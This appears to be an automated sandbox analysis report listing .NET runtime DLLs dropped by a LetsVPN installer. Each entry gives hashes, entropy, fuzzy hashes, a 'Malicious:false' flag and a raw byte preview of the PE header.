                                                                                            Size (bytes):16872
                                                                                            Entropy (8bit):6.868132034991061
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:Enzz+MpSaLWW0+W71pwKANynsAw/98E9VF3AM+o0XbobU:ipuAAw/KENAMxZbU
                                                                                            MD5:0795AA09694508A9B849DD0F6220B2D4
                                                                                            SHA1:44577C0256DD688589A71BC86428E896997030A2
                                                                                            SHA-256:7C77A2CC3F60EECA74965CF46F6DBDE0366FD92C8CAF6000310E0AA1BDB84206
                                                                                            SHA-512:772926A6E60CD1ACF1F16154042BDF1A41EB26413E55BA1BC724D676C670551BBF8BF4422A7D876469F681C388468B39B17945A33BAADB58DC26EAAE48DB9A93
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0.............B*... ...@....... ..............................f ....@..................................)..O....@...................+...`.......(............................................... ............... ..H............text...H.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................$*......H.......P ......................8(......................................BSJB............v4.0.30319......l.......#~..t...@...#Strings............#US.........#GUID....... ...#Blob......................3............................................................V...........j.................i...........8.................S.....<...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.'...C.B...K.b...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.Primitives.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16872
                                                                                            Entropy (8bit):6.917233914321296
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:8Ghr+YUfyHxsW/HWQBpwKANynsAw/98E9VF3AM+oMInWFQ:bkmiAw/KENAMx1R
                                                                                            MD5:8A8189FDD8ADFEE4C9C72A5F5F41DC52
                                                                                            SHA1:83FF3CED32D3C89E89F368D693AD012F23C39C76
                                                                                            SHA-256:C38A47446F5E94DF13AB0CFACF52ACBC48734A127C4DF5511A286E2CEFD22409
                                                                                            SHA-512:CD84259C1C937C54677D56C67A6AC4BB92F388C40D6FF1703098F8A54D32129A414EE37FDDFA7FCB57F652256B935DE456EBF6DFA9CE88FD9F95A1579C457347
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............+... ...@....... ..............................3.....@.................................<+..O....@..`................+...`.......*............................................... ............... ..H............text........ ...................... ..`.rsrc...`....@......................@..@.reloc.......`......................@..B................p+......H.......P ..4....................)......................................BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob......................3................................................Y.]...{.]...6.J...}.....r........... .............................................................D.....D.....D...).D...1.D...9.D...A.D...I.D...Q.D...Y.D...a.D...i.D...q.D.......................#.....+.....3.....;."...C.=...K.]...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.TypeConverter.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):17896
                                                                                            Entropy (8bit):6.852031215308936
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:GRE+ruiA5vzWeNWM3pwKANynsAw/98E9VF3AM+ouAY/d:GS9bmAw/KENAMx1S
                                                                                            MD5:3269A44986CE0A3BC21ADD533DBC126B
                                                                                            SHA1:B0648BB683E2097FAEFE1A04657C656A2806576F
                                                                                            SHA-256:CDA60B4E685C9A38A952492D2190F4A707EA92E548016C3D7E556E2F84EABE20
                                                                                            SHA-512:79CD8E1EBE2AEBF66D2E619F79C9B094D265D203FCDACE29720D6BCBAB05C4A9B3156615478443434643FAA60FB5660D6531E7DADC2D556E42AFBC574B3B8A06
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0............../... ...@....... ..............................K.....@................................../..O....@..p................+...`......T................................................ ............... ..H............text........ ...................... ..`.rsrc...p....@......................@..@.reloc.......`......................@..B................./......H.......P .......................-......................................BSJB............v4.0.30319......l.......#~......@...#Strings....T.......#US.X.......#GUID...h.......#Blob......................3................................;.....Y.........8...........<...........P.......................X.....q.....g................."...................I.....I.....I...).I...1.I...9.I...A.I...I.I...Q.I...Y.I...a.I...i.I...q.I.......................#.....+.....3.....;.%...C.@...K.`...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.907876817777003
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:GT+6ywnVvW0LWQTpwKANynsAw/98E9VF3AM+oTUgg:G99gAw/KENAMxwB
                                                                                            MD5:E081AF9808BF9E38661C8B8F748C4A0A
                                                                                            SHA1:5D66CAF0E62CBBDCAF1F9155A1EA63B6359A9D2D
                                                                                            SHA-256:32D291F862EFF1DAA14B3B52C20CF36F8C5B876B728183648D8F877F8F4BA3DB
                                                                                            SHA-512:4B4A9BDD2C255650D3E0E1C69A2971564E6AE0FC0F6745DF1F6A95A87FB02275796A32EDA3C63141331095D9224052F50E1D39AF8C6C5D7D6233FDFAD1F8BAF3
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............)... ...@....... ..............................4.....@..................................(..O....@...................+...`......|'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~.. ...h...#Strings............#US.........#GUID...........#Blob......................3......................................................\.....0.....7.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.2...K.R...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Configuration.ConfigurationManager.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):88040
                                                                                            Entropy (8bit):5.415196096500198
                                                                                            Encrypted:false
                                                                                            SSDEEP:1536:m8KGCEPg1QqF3BhejEpvS/ZFQ+2/NVQ8GLa0Uh55T3lEC/IOPbZkxqN4bENZJlfq:RHCXBheNQ+2/NVQ8GLa0Uh55T3lEC/Ih
                                                                                            MD5:5C09891E9DE673F0D5D58F44034EF52F
                                                                                            SHA1:A62893EE5F31BFBB956EDB60D414BA696BFB60E8
                                                                                            SHA-256:D6C1F1442A5D89C2E733386AA5D5E3401C3924BA5F314853C1E5A1CE53E5090E
                                                                                            SHA-512:01C7DB3140348C9C10C7C23539177CC08CCA7DC1CBBFB9F68ABD26682493F5940EF2136972EF531BE61C1A5C25ED8B76681FD6473F4F1EA968030B75749ABE68
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0.. ...........?... ...@....... ...............................u....`..................................>..O....@...............,...+...`.......=..T............................................ ............... ..H............text........ ... .................. ..`.rsrc........@......."..............@..@.reloc.......`.......*..............@..B.................>......H....... ,..$...........D....}...=.......................................~....*..0..........(....,..*..(.....o.......&...*...................0...........(.......(....-..,..*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*..,&(....,..r...pr...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*...(....*.(....,.r...p......%...%...%...(....*....(....*.(....,"r...p......%...%...%...%..

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Console.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.905862991588053
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:vRbzriaXT+WlEWfYpwKANynsAw/98E9VF3AM+oQCLP:J7icPAw/KENAMxJ
                                                                                            MD5:B645DA6A1540BFBA62EC4B6DAD9FA792
                                                                                            SHA1:45CCB792C8C8D31C21483AE4BB7942A413437B92
                                                                                            SHA-256:DE3EE2A97E05E8F61FB7FDEB91D458E7F2133169ACA428BE22CD06F7969D856C
                                                                                            SHA-512:0AA8FEF88FFC08FD46D514CBA45DFA9992BED3979158DB96032B8BE45AA4937BA1FCDACE9C773F4CE0DAFF322876F2CDC37B46B4B66ADBB33A8142D9E3AE70EC
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0.............6)... ...@....... ..............................Y.....@..................................(..O....@...................+...`.......'............................................... ............... ..H............text...<.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H.......P ......................,'......................................BSJB............v4.0.30319......l.......#~..H...x...#Strings............#US.........#GUID...........#Blob......................3......................................................k.....?.....$.....S.................R...........!.....j...........<.....%...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.+...K.K...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.Common.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):149480
                                                                                            Entropy (8bit):5.4418351122046
                                                                                            Encrypted:false
                                                                                            SSDEEP:3072:bdYO+3m9R6e1x03BZ6bDSzZ8B0uAP+ahvgs:V+2jv1x0ebezWiuAh/
                                                                                            MD5:80A0654B888EA0DBA8D06E163F16ED46
                                                                                            SHA1:EC28A96B46897B71CCB95E1E2526ACAA7D9D2238
                                                                                            SHA-256:4EB9940AB807576C3517F931ADFC08BB9972C2AD4060E4C08EA7A3AB031B1F2E
                                                                                            SHA-512:FBAA3A9F56B5296198B9AD424E785838990585DE83533A9FC172B9E6C90299D4ACEFF8D850B31C34EB9F9742452458D5F687125049F3C47E94B26D09308060D8
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..............,... ...@....... ..............................z.....@..................................,..O....@...................+...`.......+............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................,......H........A...............?..h...t+......................................j~....%-.&(....s....%.....*..*...0..$.........(.....o.......&...,....o....,..*.*..................,!(....,..r...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*2r...p.(....*2r;..p.(....*2ro..p.(....*2r...p.(....*2r...p.(....*2r...p.(....*2rK..p.(....*2r...p.(....*2r...p.(....*2r...p.(....*2rM..

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.Odbc.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):82920
                                                                                            Entropy (8bit):5.955722981392787
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:xsCikxiUPLkOWoYSAkm4fHLofFv9Rit9zzv5dnCsAw/KENAMxrr:qfkxBIOYSq4/2biHrnCsAwrxf
                                                                                            MD5:BA2CFA75567673E1397EF4C057493F77
                                                                                            SHA1:2644D80A1396D32F09FD86ED37C5CCBB62E41AC0
                                                                                            SHA-256:C60AF1B42048C521DA3B0349487F9DBA1EFFCB239ED7B01CC9244F10D3587D0E
                                                                                            SHA-512:F92235ABDF5B67F5C8A0CB60E0D7EFF3A4272CBA7D372D6BC9F421B6A3AA6185BA06B51E8A11937F973F99A702960C7D33B26C325356FCC7B8689396100AEAEF
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0.............&*... ...@....... ..............................Z.....`..................................)..O....@...................+...`.......(..T............................................ ............... ..H............text...,.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................*......H........(...I..........0r..@...p(.......................................~....*..0..........(....,..*..(.....o.......&...*...................0...........(.......(....-..,..*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*..,&(....,..r...pr...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*...(....*.(....,.r...p......%...%...%...(....*....(....*.(....,"r...p......%...%...%...%..

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.OleDb.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):100840
                                                                                            Entropy (8bit):5.813303359342085
                                                                                            Encrypted:false
                                                                                            SSDEEP:1536:5+kZKluk7ZFrtpAauVXrbtYC/xBu9LtAwrx517:5+kzk7p4rbtYC/xBOthx7
                                                                                            MD5:170EA3B16CF6C6C6E0CB616B201A0CD8
                                                                                            SHA1:A95CF1E662009221FD2E55A87A886A541F3B75B4
                                                                                            SHA-256:EBC15C993AB195BEDA7C3DEB45AF05B0D305B20DFC91A3C75C20C89437F61E73
                                                                                            SHA-512:38E30DF716189BD713D752B0E7C7C73E499640858DF50290D6F5D206AC6B075A849522F10A7E3AF0D88671DFBF41F5B3E796CBDAD001EEB9AC40B1A18A2D98C8
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..R...........p... ........... ...............................|....`..................................o..O....................^...+...........n..T............................................ ............... ..H............text....P... ...R.................. ..`.rsrc................T..............@..@.reloc...............\..............@..B.................o......H........*...^..................Pn.......................................~....*..0..........(....,..*..(.....o.......&...*...................0...........(.......(....-..,..*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*..,&(....,..r...pr...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*...(....*.(....,.r...p......%...%...%...(....*....(....*.(....,"r...p......%...%...%...%..

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.SqlClient.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):224744
                                                                                            Entropy (8bit):5.687717043673745
                                                                                            Encrypted:false
                                                                                            SSDEEP:6144:7XFpBZBJL3rBxad7/bAkGF60FhFoFmF8cjcsc4FEFbFgcbFmFiF6FhFuFBFuFDFb:bFRf60FhFoFmF8cjcsc4FEFbFgcbFmFb
                                                                                            MD5:283E080CE74B5DB557AEE662ACB83FCA
                                                                                            SHA1:7915F4CE008E5B33286BEBD3BF710D247ACE7FE1
                                                                                            SHA-256:C45DECECE72A03B879F73FCE75A029464D0FE8A60DF22A48E673D9EA6814E6E7
                                                                                            SHA-512:482552959E1A657EB66FB1DAEF7D6EB1C8E47A2F083F3B1B781E96847062888594DF2553A3BE0A6CB4A47E656093CC732A77899FF0958C380A09F53E9B2D8A31
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..8...........W... ...`....... ..............................9.....`..................................V..O....`...............B...+...........V..8............................................ ............... ..H............text....7... ...8.................. ..`.rsrc........`.......:..............@..@.reloc...............@..............@..B.................V......H.......h7..............@...XW...U........................................*..0..1.......(....,..%-.&.*..(.....o.......&...,...o....,..*.*....................(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*..,&(....,..r...pr...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*...(....*.(....,.r...p......%...%...%...(....*....(....*.(....,"r...p......%...%...%...%....(....*......(....

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Contracts.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16872
                                                                                            Entropy (8bit):6.871006413324289
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:cRtRWjYWVIpwKANynsAw/98E9VF3AM+onGJAIkEMB:eiNAw/KENAMxGJArpB
                                                                                            MD5:C6EFBC9217E2463AF79A939C01DA034F
                                                                                            SHA1:5C1D5404074AE8F850428A10D287DE4E0DB3F2BE
                                                                                            SHA-256:50B7560179F923BFC03F8B631612D38679693FA4A48284D747D4857F6F93B7C2
                                                                                            SHA-512:7D1697441ABEB6EF0F3FE24E4192277E798837ADEC88C5D7C9BC9082060A3F34FEC72765008C299AE9776B042B28CA2B84D14D681869E9B2B4772528E3C2B797
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............*... ...@....... ....................................@.................................x*..O....@..@................+...`......@)............................................... ............... ..H............text........ ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................*......H.......P ..p....................(......................................BSJB............v4.0.30319......l...@...#~..........#Strings....H.......#US.L.......#GUID...\.......#Blob......................3..................................................-.....-.........M...........[.................'.....@.................[.....*...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.9...K.Y...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Debug.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.9478091177944465
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:CeWnoWW/pwKANynsAw/98E9VF3AM+oGliP8M:CnRAw/KENAMxjt
                                                                                            MD5:D000CFD61AD9A1400F95BBBFE60FDAA8
                                                                                            SHA1:09947705729C204091E141E0862675F8402476BE
                                                                                            SHA-256:9B5FEEB0EA1A306F40A8B7F5D154F04089E11C2F11B15394CB98B7E460938C41
                                                                                            SHA-512:5CFC6EFD29529E9D0E5F86E8B612BE9A164E1AF68D758993846BD8077E5B0FEA08CFFDC9609E133C5E9677AA12FAF1F8AB19886F78C6E7E0EBAAF274FE17FF10
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............)... ...@....... ..............................j.....@.................................X)..O....@..$................+...`...... (............................................... ............... ..H............text........ ...................... ..`.rsrc...$....@......................@..@.reloc.......`......................@..B.................)......H.......P ..P....................'......................................BSJB............v4.0.30319......l.......#~..X.......#Strings....,.......#US.0.......#GUID...@.......#Blob......................3......................................K.........]...........d.............o...".o...?.o.....o...}.o.....o.....o.....o.....h...-.o.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.5...K.U...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.EventLog.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):33768
                                                                                            Entropy (8bit):6.351688012786698
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:/VdeQes+wUTHP0G3cmL+7NQ1OaY74EaAw/KENAMxz5K:/XeQes+wUTHPbANP7taAwrxzc
                                                                                            MD5:EAAEE00AAE6817EA36071A8763653842
                                                                                            SHA1:CC040EF82512B69E77247AEA01816FE0C01969E4
                                                                                            SHA-256:4AA9C121C565B4E4C0499FE3175E9FD6E812150275FEB9300F930C114651091F
                                                                                            SHA-512:27C1CEA4FB5DA49BF055E86D3910DAD18BEB91D9B9314D396682F130F48FC6F76E61BF0D01723085DE6CA4FECEE14E867709BE950037891993E90E2E8C4FAEDA
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....K............" ..0..N...........l... ........... ..............................w_....`................................._l..O....................X...+..........pk..T............................................ ............... ..H............text....L... ...N.................. ..`.rsrc................P..............@..@.reloc...............V..............@..B.................l......H.......<%...,...........Q.......j.......................................~....*..0..........(....,..*..(.....o.......&...*...................0...........(.......(....-..,..*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*..,&(....,..r...pr...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*...(....*.(....,.r...p......%...%...%...(....*....( ...*.(....,"r...p......%...%...%...%..

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.FileVersionInfo.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.905579148221384
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:a6oWJjWckpwKANynsAw/98E9VF3AM+oCwJ+:a6vDAw/KENAMx7+
                                                                                            MD5:0B74447C2E887EB2E968860C38849B01
                                                                                            SHA1:0EEB20D6307B9F9D72744D371B5FCEF7E7BBC039
                                                                                            SHA-256:AB94EDBA42955F58694057C0992E158A2AB1D4865E1AA9B4C2ED93A06077A5E3
                                                                                            SHA-512:FB9DD055D5D326D89C09B99C7AD0EBD85F496327A300EA8125F64A4454D9973B8F18A418376004070117E3934E76743337B7F70184DD44DB68DB35F135CA8A91
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............(... ...@....... ...............................0....@.................................H(..O....@..p................+...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc...p....@......................@..@.reloc.......`......................@..B................|(......H.......P ..@....................&......................................BSJB............v4.0.30319......l...|...#~......(...#Strings............#US.........#GUID...$.......#Blob......................3......................................z...............\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.$...C.?...K._...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.PerformanceCounter.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):42472
                                                                                            Entropy (8bit):6.0216340679855485
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:KGAHVcV8a5cg1YeEBfVmVYSGS4W+FyLVRVStbaB/PRTlBRBMJnnvnL0++WYbWAyw:KTyj5cKJfE+MJnnvnL0jRAw/KENAMxb
                                                                                            MD5:D358480B44628F3013578D394BD4B09C
                                                                                            SHA1:B0D59D0D89D31D8EB502D81E6A24089AD711F2A8
                                                                                            SHA-256:FDA5CCB3340509E4D365F4CFEAD3EEC08D24D2BE5DD01CB07CDEC1518543FA87
                                                                                            SHA-512:38C973BF5932CC6046DF9354E11722ECA4CF3563B22227E81E5C5D1E194AC667290A98DAFCE530FF8F90AB6D05880EC843424500B808AA91EC62B54FAE7D15B6
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....D..........." ..0..n.............. ........... ..............................7.....`.....................................O....................z...+..............T............................................ ............... ..H............text....l... ...n.................. ..`.rsrc................p..............@..@.reloc...............x..............@..B........................H.......\&...5...........\...............................................~....*..0..........(....,..*..(.....o.......&...*...................0...........(.......(....-..,..*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*..,&(....,..r...pr...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*...(....*.(....,.r...p......%...%...%...(....*....(....*.(....,"r...p......%...%...%...%..

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Process.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16872
                                                                                            Entropy (8bit):6.8363078970914115
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:3qk53/hW3fZ+zWzZ9pwKANynsAw/98E9VF3AM+oe2wTa:3qk53MJkAw/KENAMxD
                                                                                            MD5:AB50D9C2F672BA5FEC55ED5E3524FD1F
                                                                                            SHA1:122ECA53082B37F12E75751EF6D2F63AA2811957
                                                                                            SHA-256:AB4DBF17D93331202D45C68B9479424638AF41AEFECC8800A1801F3213E2089F
                                                                                            SHA-512:C9BADB8432493A0216DBCF5F3044423E1964BC7B5EE94E2A6E497A1AE0D4C0BE63F76CA302F1FBC83E8B345495DD4EB862872C9A16B2D4ADA6F6A5D22C129301
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0.............**... ...@....... ...............................q....@..................................)..O....@..0................+...`.......(............................................... ............... ..H............text...0.... ...................... ..`.rsrc...0....@......................@..@.reloc.......`......................@..B.................*......H.......P ...................... (......................................BSJB............v4.0.30319......l...$...#~..........#Strings............#US.........#GUID...........#Blob......................3............................................................j.q.........~.................}.....3.....L.................g.....P...................k.....k.....k...).k...1.k...9.k...A.k...I.k...Q.k...Y.k...a.k...i.k...q.k.......................#.....+.....3.....;.....C.7...K.W...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.StackTrace.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):18920
                                                                                            Entropy (8bit):6.722436960395853
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:aFCc4Y4OJWfOWqWWOWWLpwKANynsAw/98E9VF3AM+of9G/dGfWu049mF:KCcyC7Aw/KENAMx1G/w+ZAs
                                                                                            MD5:9D6A5AFA7B4C436069F565AA91039A19
                                                                                            SHA1:DD26015024E3E30B5D652CBA1E498C8DF0A27DA5
                                                                                            SHA-256:BDBC0B52C46193E1C26271C94C49BF3FC7CAE21005926D3DD41A8E084256B2C3
                                                                                            SHA-512:B8BF0EF60B8BB23DEA5D30952398DA9F6AD0E8B850535575827909D0B3AC11FCB487EDB899BA47354D12EEB4A6074D1C585A6D9A9E82B0A99B088DD57CBAC634
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0.............N.... ...@....... ..............................l.....@..................................-..O....@...................+...`......L-............................................... ............... ..H............text...T.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................0.......H........ ..4....................,......................................F.(....~....(....*6.o.....(....*6.o..........**.o.......*.~....*.~....*.BSJB............v4.0.30319......l.......#~..<.......#Strings.... .......#US.(.......#GUID...8.......#Blob...........GU.........3..................................................8.........*.h...m.h.....Z.....$...........Z...+.|.....Z...1.Z.....$.....$.......3.D.......|...F.|...c.|.....|.....|.....|.....|.....|.....Z...I.|...}.Z.....Z.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.TextWriterTraceListener.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.931910682226578
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:7AWxMWYtpwKANynsAw/98E9VF3AM+o05hc:7vBAw/KENAMxEc
                                                                                            MD5:3A4550B4EAA5BE9635A8CF5E131C5C9B
                                                                                            SHA1:2A36E204DD2FFB785C6E29D9D8A9CE44E41C50A9
                                                                                            SHA-256:C3150F991A99712C300EA2D6D201CC8820435901EDFC7F2D6D3631DC6DF91E63
                                                                                            SHA-512:0087787B7B587854BE0CE5C97825B1D67E67215026C11BC885330792AA9AB80CC4CEE53F410A547AE998FBED037ED5BE0F614907961E989D113540927012E8FB
                                                                                            Malicious:false
